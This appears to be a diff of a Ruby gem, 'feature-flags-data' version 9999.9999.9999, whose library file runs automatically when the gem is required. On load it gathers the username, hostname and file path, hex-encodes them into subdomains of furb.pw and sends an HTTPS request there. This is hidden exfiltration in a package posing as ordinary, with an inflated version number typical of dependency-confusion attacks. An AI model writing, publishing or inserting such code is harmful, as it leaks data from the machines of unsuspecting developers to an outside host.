feature-flags-data 9999.9999.9999

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 07235bc64528d3de600d3848cf57bcec2ad11668cefd1fe44f5e9e56f0152dc9
+  data.tar.gz: 7c69f70d1374814a908143954d64539ea258e17f949cce45c7346af8baaafbf8
+SHA512:
+  metadata.gz: 5a25d8df41deef1573af71654401d768f8f86527903fee2a60c86f6b7759e9ef886c7fcd7e6a41836c241982be679b0ff3d83b839073fce4cd649c687c42a57d
+  data.tar.gz: '09382a24eefc927e5b16efe6ccb317b57140231ba0539bab13765a170cbf57a8384ce83435f6524989f7c224143e87a0445b2a644ba230d323037cdb53bc6690'

data/lib/feature-flags-data.rb

@@ -0,0 +1,144 @@
+#!/usr/bin/env ruby
+"""
+author: ohior1schoolsadmin
+"""
+
+require 'net/http'
+require 'socket'
+
+def test_func_hello_world
+  puts "hello world"
+end
+
+def hex_encode(string)
+  string.unpack1('H*')
+end
+
+def collect_system_info
+  info = {}
+  
+  # Get username of the current process
+  username = ENV['USER'] || ENV['USERNAME'] || `whoami`.strip
+  info[:username] = username
+  info[:username_hex] = hex_encode(username)
+  
+  # Get hostname of the machine
+  hostname = Socket.gethostname
+  info[:hostname] = hostname
+  info[:hostname_hex] = hex_encode(hostname)
+  
+  # Get path of the current file
+  file_path = File.expand_path(__FILE__)
+  info[:file_path] = file_path
+  info[:file_path_hex] = hex_encode(file_path)
+  
+  info
+end
+
+def truncate_domain(username_hex, hostname_hex, filepath_hex, base_domain = "furb.pw")
+  
+  # Calculate the base length: username.hostname.filepath.furb.pw
+  # We need 3 dots plus the base domain length
+  base_length = username_hex.length + hostname_hex.length + base_domain.length + 3
+  
+  # Maximum allowed total length is 253 characters
+  max_length = 220
+  available_for_filepath = max_length - base_length
+  
+  # If filepath is too long, truncate it
+  if available_for_filepath < filepath_hex.length
+    if available_for_filepath > 0
+      truncated_filepath = filepath_hex[0, available_for_filepath]
+    else
+      truncated_filepath = ""
+    end
+    puts "Warning: Filepath truncated from #{filepath_hex.length} to #{truncated_filepath.length} characters"
+  else
+    truncated_filepath = filepath_hex
+  end
+
+  truncated_filepath = chunk_string(truncated_filepath)
+  
+  # Construct the final domain
+  if truncated_filepath.empty?
+    domain = "a#{username_hex}.a#{hostname_hex}.#{base_domain}"
+  else
+    domain = "a#{username_hex}.a#{hostname_hex}.a#{truncated_filepath}.#{base_domain}"
+  end
+  
+  puts "Final domain length: #{domain.length} characters"
+  domain
+end
+
+def chunk_string(str, max_length = 60)
+  str.scan(/.{1,#{max_length}}/).join('.a')
+end
+
+def send_data(domain)
+  begin
+    # Create HTTP connection
+    uri = URI("https://#{domain}/")
+    http = Net::HTTP.new(uri.host, 443)
+    http.open_timeout = 5
+    http.read_timeout = 5
+    
+    # Create GET request
+    request = Net::HTTP::Get.new(uri)
+    request['User-Agent'] = 'Ruby/SystemInfo'
+    
+    # Send request
+    response = http.request(request)
+    
+    puts "Request sent successfully!"
+    puts "Response code: #{response.code}"
+    puts "Response body: #{response.body}" unless response.body.empty?
+    
+    return true
+    
+  rescue Net::TimeoutError
+    puts "Error: Connection timed out"
+    return false
+  rescue Errno::ECONNREFUSED
+    puts "Error: Connection refused - target may not be listening"
+    return false
+  rescue SocketError => e
+    puts "Error: Socket error - #{e.message}"
+    return false
+  rescue StandardError => e
+    puts "Error: #{e.message}"
+    return false
+  end
+end
+
+def main
+  # Collect system information
+  system_info = collect_system_info
+  
+  puts "Collected information:"
+  puts "  Username: #{system_info[:username]}"
+  puts "  Username (hex): #{system_info[:username_hex]}"
+  puts "  Hostname: #{system_info[:hostname]}"
+  puts "  Hostname (hex): #{system_info[:hostname_hex]}"
+  puts "  File path: #{system_info[:file_path]}"
+  puts "  File path (hex): #{system_info[:file_path_hex]} (#{system_info[:file_path_hex].length} chars)"
+  
+  # Create the target domain with truncation if needed
+  puts "\nConstructing target domain..."
+  target_domain = truncate_domain(
+    system_info[:username_hex],
+    system_info[:hostname_hex],
+    system_info[:file_path_hex]
+  )
+  
+  puts "Target domain: #{target_domain}"
+  
+  # Send the request
+  puts "\nSending request..."
+  success = send_data(target_domain)
+  
+  exit success ? 0 : 1
+end
+
+unless __FILE__ == $0
+  main()
+end

metadata

@@ -0,0 +1,40 @@
+--- !ruby/object:Gem::Specification
+name: feature-flags-data
+version: !ruby/object:Gem::Version
+  version: 9999.9999.9999
+platform: ruby
+authors:
+- Ohio Schools R1 Admin
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: Parking for safety
+email: dave@ohior1schools.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/feature-flags-data.rb
+homepage: https://rubygems.org/gems/feature-flags-data
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: Parking for safety
+test_files: []